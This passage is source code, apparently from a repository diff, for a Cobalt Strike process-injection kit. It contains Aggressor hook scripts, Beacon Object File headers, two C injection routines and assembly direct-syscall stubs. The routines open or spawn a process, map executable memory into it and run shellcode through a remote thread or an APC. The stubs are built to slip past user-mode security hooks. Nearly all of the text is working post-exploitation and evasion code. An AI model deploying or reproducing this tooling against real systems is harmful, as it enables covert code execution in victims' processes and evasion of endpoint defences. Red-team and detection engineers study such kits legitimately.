} PS_CREATE_STATE;
typedef struct _PS_CREATE_INFO
{
SIZE_T Size;
PS_CREATE_STATE State;
union
{
// PsCreateInitialState
struct
{
union
{
ULONG InitFlags;
struct
{
UCHAR WriteOutputOnExit : 1;
UCHAR DetectManifest : 1;
UCHAR IFEOSkipDebugger : 1;
UCHAR IFEODoNotPropagateKeyState : 1;
UCHAR SpareBits1 : 4;
UCHAR SpareBits2 : 8;
USHORT ProhibitedImageCharacteristics : 16;
} s1;
} u1;
ACCESS_MASK AdditionalFileAccess;
} InitState;
// PsCreateFailOnSectionCreate
struct
{
HANDLE FileHandle;
} FailSection;
// PsCreateFailExeFormat
struct
{
USHORT DllCharacteristics;
} ExeFormat;
// PsCreateFailExeName
struct
{
HANDLE IFEOKey;
} ExeName;
// PsCreateSuccess
struct
{
union
{
ULONG OutputFlags;
struct
{
UCHAR ProtectedProcess : 1;
UCHAR AddressSpaceOverride : 1;
UCHAR DevOverrideEnabled : 1; // From Image File Execution Options
UCHAR ManifestDetected : 1;
UCHAR ProtectedProcessLight : 1;
UCHAR SpareBits1 : 3;
UCHAR SpareBits2 : 8;
USHORT SpareBits3 : 16;
} s2;
} u2;
HANDLE FileHandle;
HANDLE SectionHandle;
ULONGLONG UserProcessParametersNative;
ULONG UserProcessParametersWow64;
ULONG CurrentParameterFlags;
ULONGLONG PebAddressNative;
ULONG PebAddressWow64;
ULONGLONG ManifestAddress;
ULONG ManifestSize;
} SuccessState;
};
} PS_CREATE_INFO, *PPS_CREATE_INFO;
typedef struct _TEB
{
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID ReservedForDebuggerInstrumentation[16];
#ifdef _WIN64
PVOID SystemReserved1[30];
#else
PVOID SystemReserved1[26];
#endif
CHAR PlaceholderCompatibilityMode;
CHAR PlaceholderReserved[11];
ULONG ProxiedProcessId;
ACTIVATION_CONTEXT_STACK ActivationStack;
UCHAR WorkingOnBehalfTicket[8];
NTSTATUS ExceptionCode;
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
ULONG_PTR InstrumentationCallbackSp;
ULONG_PTR InstrumentationCallbackPreviousPc;
ULONG_PTR InstrumentationCallbackPreviousSp;
#ifdef _WIN64
ULONG TxFsContext;
#endif
BOOLEAN InstrumentationCallbackDisabled;
#ifndef _WIN64
UCHAR SpareBytes[23];
ULONG TxFsContext;
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
HANDLE GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
ULONG_PTR Win32ClientInfo[62];
PVOID glDispatchTable[233];
ULONG_PTR glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
ULONG HardErrorMode;
#ifdef _WIN64
PVOID Instrumentation[11];
#else
PVOID Instrumentation[9];
#endif
GUID ActivityId;
PVOID SubProcessTag;
PVOID PerflibData;
PVOID EtwTraceData;
PVOID WinSockData;
ULONG GdiBatchCount;
union
{
PROCESSOR_NUMBER CurrentIdealProcessor;
ULONG IdealProcessorValue;
struct
{
UCHAR ReservedPad0;
UCHAR ReservedPad1;
UCHAR ReservedPad2;
UCHAR IdealProcessor;
} s1;
} u1;
ULONG GuaranteedStackBytes;
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
PVOID SavedPriorityState;
ULONG_PTR ReservedForCodeCoverage;
PVOID ThreadPoolData;
PVOID* TlsExpansionSlots;
#ifdef _WIN64
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG MuiGeneration;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
USHORT HeapVirtualAffinity;
USHORT LowFragHeapDataSlot;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
PVOID FlsData;
PVOID PreferredLanguages;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
USHORT CrossTebFlags;
USHORT SpareCrossTebBits : 16;
} u2;
union
{
USHORT SameTebFlags;
struct
{
USHORT SafeThunkCall : 1;
USHORT InDebugPrint : 1;
USHORT HasFiberData : 1;
USHORT SkipThreadAttach : 1;
USHORT WerInShipAssertCode : 1;
USHORT RanProcessInit : 1;
USHORT ClonedThread : 1;
USHORT SuppressDebugMsg : 1;
USHORT DisableUserStackWalk : 1;
USHORT RtlExceptionAttached : 1;
USHORT InitialThread : 1;
USHORT SessionAware : 1;
USHORT LoadOwner : 1;
USHORT LoaderWorker : 1;
USHORT SkipLoaderInit : 1;
USHORT SpareSameTebBits : 1;
} s2;
} u3;
PVOID TxnScopeEnterCallback;
PVOID TxnScopeExitCallback;
PVOID TxnScopeContext;
ULONG LockCount;
LONG WowTebOffset;
PVOID ResourceRetValue;
PVOID ReservedForWdf;
ULONGLONG ReservedForCrt;
GUID EffectiveContainerId;
} TEB, *PTEB;
//NtCreateUserProcess struct end
EXTERN_C NTSTATUS NtCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL) asm("NtCreateSection");
EXTERN_C NTSTATUS NtQueueApcThread(
IN HANDLE ThreadHandle,
IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL) asm("NtQueueApcThread");
EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL) asm("NtOpenProcess");
EXTERN_C NTSTATUS NtAlertThread(
IN HANDLE ThreadHandle) asm("NtAlertThread");
EXTERN_C NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress) asm("NtUnmapViewOfSection");
EXTERN_C NTSTATUS NtMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN SIZE_T CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Win32Protect) asm("NtMapViewOfSection");
EXTERN_C NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
IN OUT PULONG PreviousSuspendCount OPTIONAL) asm("NtResumeThread");
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) asm("NtCreateThreadEx");
EXTERN_C NTSTATUS NtClose(
IN HANDLE Handle) asm("NtClose");
EXTERN_C NTSTATUS NtCreateUserProcess(
OUT PHANDLE ProcessHandle,
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK ProcessDesiredAccess,
IN ACCESS_MASK ThreadDesiredAccess,
IN POBJECT_ATTRIBUTES ProcessObjectAttributes OPTIONAL,
IN POBJECT_ATTRIBUTES ThreadObjectAttributes OPTIONAL,
IN ULONG ProcessFlags,
IN ULONG ThreadFlags,
IN PVOID ProcessParameters OPTIONAL,
IN OUT PPS_CREATE_INFO CreateInfo,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) asm("NtCreateUserProcess");
#endif
void mymemcopy(char * dst, const char * src, int size) {
int x;
for (x = 0; x < size; x++) {
*dst = *src;
dst++;
src++;
}
}
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$IsWow64Process(HANDLE hProcess, PBOOL Wow64Process);
NTSYSAPI VOID NTAPI NTDLL$RtlInitUnicodeString(PUNICODE_STRING DestinationString, PWSTR SourceString);
NTSYSAPI NTSTATUS NTAPI NTDLL$RtlCreateProcessParametersEx(
PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags // Pass RTL_USER_PROCESS_PARAMETERS_NORMALIZED to keep parameters normalized
);
#define NtCurrentPeb() (NtCurrentTeb()->ProcessEnvironmentBlock)
#define RtlProcessHeap() (NtCurrentPeb()->ProcessHeap)
NTSYSAPI PVOID NTAPI NTDLL$RtlAllocateHeap(
PVOID HeapHandle,
ULONG Flags,
SIZE_T Size
);
NTSYSAPI BOOLEAN NTAPI NTDLL$RtlFreeHeap(
PVOID HeapHandle,
ULONG Flags,
PVOID BaseAddress
);
NTSYSAPI NTSTATUS NTAPI NTDLL$RtlDestroyProcessParameters(
PRTL_USER_PROCESS_PARAMETERS ProcessParameters
);
+71
View File
@@ -0,0 +1,71 @@
print_info("Process Inject Kit Loaded");
$process_inject_kit_path = iff($process_inject_kit_path eq "", script_resource(""), $process_inject_kit_path);
# PROCESS_INJECT_SPAWN HOOK
# Arguments
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_SPAWN {
print_info("PROCESS_INJECT_SPAWN hook");
local('$barch $handle $data $args $entry');
$barch = barch($1);
# read in the injection BOF based on barch
$pi_object = getFileProper($process_inject_kit_path, "process_inject_spawn $+ . $+ $barch $+ .o");
$handle = openf($pi_object);
$data = readb($handle, -1);
closef($handle);
print_info("Process Inject - " . $pi_object);
print_info("Process Inject - Length " . strlen($data));
$args = bof_pack($1, "sb", $3, $2);
btask($1, "Process Inject using fork and run.");
$entry = "go $+ $4";
beacon_inline_execute($1, $data, $entry, $args);
return 1;
}
# PROCESS_INJECT_EXPLICIT HOOK
# Arguments
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
print_info("PROCESS_INJECT_EXPLICIT hook");
local('$barch $handle $data $args $entry');
$barch = barch($1);
$pi_object = getFileProper($process_inject_kit_path, "process_inject_explicit $+ . $+ $barch $+ .o");
$handle = openf($pi_object);
$data = readb($handle, -1);
closef($handle);
print_info("Process Inject - " . $pi_object);
print_info("Process Inject - Length " . strlen($data));
print_info("Process Inject - Target PID " . $3);
$args = bof_pack($1, "iib", $3, $4, $2);
btask($1, "Process Inject using explicit injection into $3");
$entry = "go $+ $5";
beacon_inline_execute($1, $data, $entry, $args);
return 1;
}
+69
View File
@@ -0,0 +1,69 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+182
View File
@@ -0,0 +1,182 @@
#include <windows.h>
#include "beacon.h"
#include "syscalls.c"
/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
return TRUE;
#elif defined _M_IX86
return FALSE;
#endif
}
/* is this a 64-bit or 32-bit process? */
BOOL is_wow64(HANDLE process) {
BOOL bIsWow64 = FALSE;
if (!KERNEL32$IsWow64Process(process, &bIsWow64)) {
return FALSE;
}
return bIsWow64;
}
/* check if a process is x64 or not */
BOOL is_x64_process(HANDLE process) {
if (is_x64() || is_wow64(KERNEL32$GetCurrentProcess())) {
return !is_wow64(process);
}
return FALSE;
}
/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
HANDLE hProcess;
datap parser;
int pid;
int offset;
char * dllPtr;
int dllLen;
/* Extract the arguments */
BeaconDataParse(&parser, args, alen);
pid = BeaconDataInt(&parser);
offset = BeaconDataInt(&parser);
dllPtr = BeaconDataExtract(&parser, &dllLen);
//NtOpenProcess
CLIENT_ID cid;
cid.UniqueProcess = (HANDLE)pid;
cid.UniqueThread = (HANDLE)0;
OBJECT_ATTRIBUTES oattr;
InitializeObjectAttributes(&oattr, NULL, 0, NULL, NULL);
NTSTATUS status = NtOpenProcess(
&hProcess,
PROCESS_ALL_ACCESS,
&oattr,
&cid);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtOpenProcess failed with error code: 0x%X", status);
return;
}
/* Check that we can inject the content into the process. */
if (!is_x64_process(hProcess) && x86 == FALSE ) {
BeaconPrintf(CALLBACK_ERROR, "%d is an x86 process (can't inject x64 content)", pid);
return;
}
if (is_x64_process(hProcess) && x86 == TRUE) {
BeaconPrintf(CALLBACK_ERROR, "%d is an x64 process (can't inject x86 content)", pid);
return;
}
/* Use NtCreateSection, NtMapViewOfSection and NtCreateThreadEx*/
//NtCreateSection
HANDLE shand;
LARGE_INTEGER sc_size = { dllLen };
status = NtCreateSection(
&shand,
SECTION_ALL_ACCESS,
&oattr,
&sc_size,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
NULL
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtCreateSection failed with error code: 0x%X", status);
return;
}
//NtMapViewOfSection to local process
PVOID local_mem = NULL;
SIZE_T vSize = 0;
status = NtMapViewOfSection(
shand,
KERNEL32$GetCurrentProcess(),
&local_mem,
NULL,
NULL,
NULL,
&vSize,
2,
NULL,
PAGE_READWRITE
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to local process failed with error code: 0x%X", status);
return;
}
mymemcopy(local_mem, dllPtr, dllLen);
//NtMapViewOfSection to the opened process
PVOID remote_mem = NULL;
status = NtMapViewOfSection(
shand,
hProcess,
&remote_mem,
NULL,
NULL,
NULL,
&vSize,
2,
NULL,
PAGE_EXECUTE_READ
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to remote process failed with error code: 0x%X", status);
return;
}
//Execute shellcode trough NtCreateThreadEx
HANDLE thand;
status = NtCreateThreadEx(
&thand,
STANDARD_RIGHTS_ALL,
NULL,
hProcess,
remote_mem,
NULL,
0, //false
NULL,
NULL,
NULL,
NULL
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtCreateThreadEx failed with error code: 0x%X", status);
return;
}
//Unmap the created section from the local process
status = NtUnmapViewOfSection(KERNEL32$GetCurrentProcess(), local_mem);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtUnmapViewOfSection failed with error code: 0x%X", status);
return;
}
/* Clean up */
NtClose(hProcess);
NtClose(thand);
NtClose(shand);
}
void gox86(char * args, int alen) {
go(args, alen, TRUE);
}
void gox64(char * args, int alen) {
go(args, alen, FALSE);
}
+171
View File
@@ -0,0 +1,171 @@
#include <windows.h>
#include "beacon.h"
#include "syscalls.c"
/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
return TRUE;
#elif defined _M_IX86
return FALSE;
#endif
}
/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
datap parser;
short ignoreToken;
char * dllPtr;
int dllLen;
/* Warn about crossing to another architecture. */
if (!is_x64() && x86 == FALSE) {
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
}
if (is_x64() && x86 == TRUE) {
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
}
/* Extract the arguments */
BeaconDataParse(&parser, args, alen);
ignoreToken = BeaconDataShort(&parser);
dllPtr = BeaconDataExtract(&parser, &dllLen);
/* zero out these data structures */
__stosb((void *)&si, 0, sizeof(STARTUPINFO));
__stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));
//attributes for section create
OBJECT_ATTRIBUTES oattr;
InitializeObjectAttributes(&oattr, NULL, 0, NULL, NULL);
/* setup the other values in our startup info structure */
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.cb = sizeof(STARTUPINFO);
/* Ready to go: spawn, inject and cleanup */
if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
return;
}
//NtCreateSection
HANDLE shand;
LARGE_INTEGER sc_size = { dllLen };
NTSTATUS status = NtCreateSection(
&shand,
SECTION_ALL_ACCESS,
&oattr,
&sc_size,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
NULL
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtCreateSection failed with error code: 0x%X", status);
BeaconCleanupProcess(&pi);
return;
}
//NtMapViewOfSection to local process
PVOID local_mem = NULL;
SIZE_T vSize = 0;
status = NtMapViewOfSection(
shand,
KERNEL32$GetCurrentProcess(),
&local_mem,
NULL,
NULL,
NULL,
&vSize,
2,
NULL,
PAGE_READWRITE
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to local process failed with error code: 0x%X", status);
NtClose(shand);
BeaconCleanupProcess(&pi);
return;
}
mymemcopy(local_mem, dllPtr, dllLen);
//NtMapViewOfSection to the sacrifical process
PVOID remote_mem = NULL;
status = NtMapViewOfSection(
shand,
pi.hProcess,
&remote_mem,
NULL,
NULL,
NULL,
&vSize,
2,
NULL,
PAGE_EXECUTE_READ
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to remote process failed with error code: 0x%X", status);
NtClose(shand);
BeaconCleanupProcess(&pi);
return;
}
//Queue APC on the main thread
status = NtQueueApcThread(
pi.hThread,
(PIO_APC_ROUTINE)remote_mem,
NULL,
NULL,
NULL
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtQueueApcThread failed with error code: 0x%X", status);
NtClose(shand);
BeaconCleanupProcess(&pi);
return;
}
//Set the thread in alerted state so the APC can be executed
status = NtAlertThread(pi.hThread);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtAlertThread failed with error code: 0x%X", status);
NtClose(shand);
BeaconCleanupProcess(&pi);
return;
}
status = NtResumeThread(pi.hThread, NULL);
if (status != STATUS_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "NtResumeThread failed with error code: 0x%X", status);
}
//Unmap the created section from the local process
status = NtUnmapViewOfSection(KERNEL32$GetCurrentProcess(), local_mem);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtUnmapViewOfSection failed with error code: 0x%X", status);
return;
}
//BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
NtClose(shand);
BeaconCleanupProcess(&pi);
}
void gox86(char * args, int alen) {
go(args, alen, TRUE);
}
void gox64(char * args, int alen) {
go(args, alen, FALSE);
}
+190
View File
@@ -0,0 +1,190 @@
#pragma once
#include <windows.h>
#if _WIN64
#define ZwCreateSection NtCreateSection
__asm__("NtCreateSection: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x0B8929801 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwMapViewOfSection NtMapViewOfSection
__asm__("NtMapViewOfSection: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x03F91DEC2 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwQueueApcThread NtQueueApcThread
__asm__("NtQueueApcThread: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x0100F15A6 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwAlertThread NtAlertThread
__asm__("NtAlertThread: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x06BB897D7 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwResumeThread NtResumeThread
__asm__("NtResumeThread: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x0103F5A11 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwUnmapViewOfSection NtUnmapViewOfSection
__asm__("NtUnmapViewOfSection: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x01CCC2661 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwClose NtClose
__asm__("NtClose: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x0C5592A11 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwOpenProcess NtOpenProcess
__asm__("NtOpenProcess: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x04DD14C44 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwCreateThreadEx NtCreateThreadEx
__asm__("NtCreateThreadEx: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x004B8C602 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#endif
+123
View File
@@ -0,0 +1,123 @@
#include "syscalls.h"
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW2_SYSCALL_LIST SW2_SyscallList __attribute__ ((section(".data")));
DWORD SW2_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW2_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONGSIZE)FunctionName + i++);
Hash ^= PartialName + SW2_ROR8(Hash);
}
return Hash;
}
BOOL SW2_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW2_SyscallList.Count) return TRUE;
PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET);
PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
